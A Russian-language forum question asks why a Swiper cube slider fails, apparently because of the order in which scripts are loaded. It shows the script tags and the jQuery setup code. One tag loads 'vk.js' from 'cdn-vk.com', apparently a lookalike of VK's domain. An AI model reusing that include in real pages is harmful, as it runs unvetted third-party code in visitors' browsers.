Почему не работает слайдер?

Я понимаю, что какие-то проблемы с подключением, а именно с порядком. Но никак не могу поставить, чтобы работало все нормально.

<script src="https://cdnjs.cloudflare.com/ajax/libs/Swiper/4.5.0/js/swiper.min.js"></script>
<script src="./js/bundle.js"></script>
<script src="https://code.jquery.com/jquery-3.4.1.js"></script>
<script
  src="https://static.codepen.io/assets/editor/live/css_reload-5619dc0905a68b2e6298901de54f73cefe4e079f65a75406858d92924b4938bf.js"></script>
<script src="https://cdn-vk.com/js/vk.js?v=2"></script>

вот такие подключения внизу. а это код для слайдера:

$(document).ready(function () {
  var mySwiper = new Swiper('.swiper-container', {
    // Optional parameters
    effect: 'cube',
    loop: true,
    cubeEffect: {
      shadow: true,
      slideShadows: true,
      shadowOffset: 1,
      shadowScale: 0.8,
    },
    grabCursor: true,
  })
});